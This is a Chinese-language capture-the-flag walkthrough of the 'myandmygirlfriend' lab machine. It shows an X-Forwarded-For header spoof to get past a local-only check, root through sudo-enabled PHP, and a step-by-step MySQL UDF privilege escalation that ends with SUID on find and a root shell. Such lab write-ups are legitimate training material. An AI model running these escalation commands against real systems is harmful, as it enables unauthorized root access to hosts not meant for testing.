靶场myandmygirlfriend
前面的信息收集就不说了,arp-scan -l,nmap扫描主机和端口,dirsearch扫描目录,
打开页面可以看到:only be accessed local 谷歌翻译发现是只能本地访问....
看一眼源码:提示就出来了
抓包改一下head添加以下xff头:X-Forwarded-For:127.0.0.1
但是每次访问都需要添加xff头太麻烦了,上浏览器插件吧,
我们的好伙伴就是工具和插件哈哈哈,谷歌火狐都有(X-Forwarded-For hander)
简单的拿到shell的步骤:
进去find下就可以发现第一个flag,(总共俩flag)并且发现权限不高,感觉得提权。信息收集一波: 查看系统内核信息(用于内核提权):
1、uname -a
2、cat /etc/issue 查看系统版本 Ubuntu 14.04.6 LTS \n \l
3、cat /etc/os-release
其他信息:
netstat -ant 端口开放信息,可能会有只开放在本地的服务,这台靶机就有个mysql开放在本地
sudo -l
这里可以看到最后一行(root)NOPASSWD:/usr/bin/php,意思是sudo执行php不需要密码....那不就玩完了嘛,哎~
先sudo php -a 用system();试试
find一下就可以发现flag2了。这个靶机就完事了,好了今天的打靶就到此结束啦~!!
。
。
。
诶!别走,今天的题目是什么udf提权啊,主题都没了文章还有灵魂吗,难道你就忍心拿着俩flag就拍屁股走人了吗?多奇怪的拿flag方式,php这个看着都不舒服,前面他不是开放了个MySQL在本地嘛,今天就来试试mysql提权
先试试之前靠id找到的几个账号能不能登陆进去mysql,发现都不行,只能看看MySQL的配置文件了,my.conf权限不够不能修改,只能看看网站配置文件了,发现config目录里正好有个MySQL的明文账号密码。
先看看这个数据库满不满足条件:
plugin目录有写入权限
show variable like "%secure%"
secure_file_priv为空,可以提权。
操作:
kali自带exp:
searchsploit udf
将exp拿出来gcc编译
靶机利用wget下载到/tmp目录下
然后进入数据库mysql:
创建表
create table ykc (line blog);数据类型得是blog
插入数据
insert into ykc value(load_file('/tmp/udfexp.so'));
导出数据
select * ykc into dumpfile '/usr/lib/mysql/plugin/udfexp.so'
自建函数do_system
create function do_system returns integer soname 'udfexp.so';
//(创建自定义函数do_system 类型是integer,别名(soname)文件名字)
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
利用find
touch udfexp
find udfexp -exec "/bin/sh" \;或者:find udfexp -exec "id" \;
添加root用户提权:
抱歉我太懒了就贴xmind的截图吧~哎~。
羡慕那些有好看的blog的大佬,自己也在慢慢的去搭一个。
谢谢你看到了这里!!!一起加油加油!!
参考文章:
3-vulnhub-Raven2&PHPMailer&CVE-2016-10033&kali 40974.c&udf提权(1518.c)_少年醉春风的博客-CSDN博客